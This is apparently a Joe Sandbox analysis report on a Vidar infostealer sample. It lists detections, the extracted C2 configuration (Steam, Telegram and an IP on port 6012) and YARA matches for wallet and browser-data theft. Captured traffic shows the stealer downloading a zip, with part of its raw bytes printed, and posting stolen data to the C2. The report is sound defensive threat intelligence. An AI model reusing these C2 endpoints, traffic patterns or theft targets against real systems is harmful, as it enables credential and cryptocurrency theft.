Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	1301138
MD5:	bf81661814944b92da689f1c461ef908
SHA1:	7e3235d7ce69217063f53840e6337633cc721ec7
SHA256:	a524fce6eb4ee25ed07de294220d9c2445090b6c18b48802219149162152fea1
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Yara detected Vidar stealer

Detected unpacking (changes PE section rights)

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Uses known network protocols on non-standard ports

Searches for specific processes (likely to inject)

Machine Learning detection for sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

file.exe (PID: 7912 cmdline: C:\Users\user\Desktop\file.exe MD5: BF81661814944B92DA689F1C461EF908)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199545993403", "https://t.me/vogogor"], "Botnet": "b2ced91faf30889899f34458f95b8e93", "Version": "5.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7912	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7912	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7912	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x31511:$a1: BinanceChainWallet 0x3209f:$a2: wallet.dat 0x4ec73:$a3: SOFTWARE\monero-project\monero-core 0x63c8a:$b1: CC\%s_%s.txt 0x106993:$b1: CC\%s_%s.txt 0x12b942:$b1: CC\%s_%s.txt 0x63cc9:$b2: History\%s_%s.txt 0x1069d2:$b2: History\%s_%s.txt 0x12b981:$b2: History\%s_%s.txt 0x63cb5:$b3: Autofill\%s_%s.txt 0x65729:$b3: Autofill\%s_%s.txt 0x65769:$b3: Autofill\%s_%s.txt 0x1069be:$b3: Autofill\%s_%s.txt 0x108432:$b3: Autofill\%s_%s.txt 0x108472:$b3: Autofill\%s_%s.txt 0x12b96d:$b3: Autofill\%s_%s.txt 0x12d3e1:$b3: Autofill\%s_%s.txt 0x12d421:$b3: Autofill\%s_%s.txt
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.file.exe.4100e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.file.exe.4100e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.file.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.file.exe.4160000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.file.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.file.exe.4160000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Click to see the 1 entries

Code function: 1_2_0040DE60 _memset,_memset,_memset,lstrcat,lstrcat,lstrcat,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetLogicalDriveStringsA,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199545993403
Source: Malware configuration extractor	URLs: https://t.me/vogogor

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 149.154.167.99 149.154.167.99

Source: global traffic	HTTP traffic detected: GET /vogogor HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /b2ced91faf30889899f34458f95b8e93 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012
Source: global traffic	HTTP traffic detected: GET /sp1.zip HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----4389493767942367User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Content-Length: 126637Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.8:49774 -> 195.201.254.123:6012

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 31 Aug 2023 14:50:49 GMTContent-Type: application/zipContent-Length: 2685679Last-Modified: Mon, 12 Sep 2022 13:14:59 GMTConnection: keep-aliveETag: "631f30d3-28faef"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf

Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123

Source: file.exe, 00000001.00000002.3729883026.0000000011376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.comFALSE/FALSE1712164711bscookie"v=1&202204040740589e4e0288-8f83-439a-84f5-073fd989928dAQH-qUSHAeATZCYYPWnORXttTduQBnCi" equals www.linkedin.com (Linkedin)
Source: 98279768849475661070206458.1.dr	String found in binary or memory: .www.linkedin.combscookie/0 equals www.linkedin.com (Linkedin)
Source: 98279768849475661070206458.1.dr	String found in binary or memory: w.www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)

Source: file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/
Source: file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/0
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/Mu
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93k
Source: file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/m
Source: file.exe, 00000001.00000002.3723888260.0000000004C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/sCodecs.dlls
Source: file.exe, 00000001.00000002.3698626677.00000000025E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/sp1.zip
Source: file.exe, 00000001.00000002.3698626677.00000000025E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/sp1.zipn)
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue.dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.3730836231.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 60379239670748708072323449.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://aka.ms/vs/17/release/vc_redist.x64.exeD
Source: 60379239670748708072323449.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-stub/en-US/win/4b14f052f39ceffb32abd8
Source: 00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B27E81B29
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US&attribution_code=c291cmNlPXd3dy
Source: 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245807_df5ad55fdd604472a86a45a217032c7dM
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=15&ct=1690545750&rver=7.3.6960.0&wp=MBI_SSL&wre
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u321-b07/df5ad55fdd604472a86a45a217032c7d/jre-8u321-wind
Source: file.exe, file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199545993403
Source: file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199545993403update.zip
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: 77364074545019038892817732.1.dr	String found in binary or memory: https://support.mozilla.org
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
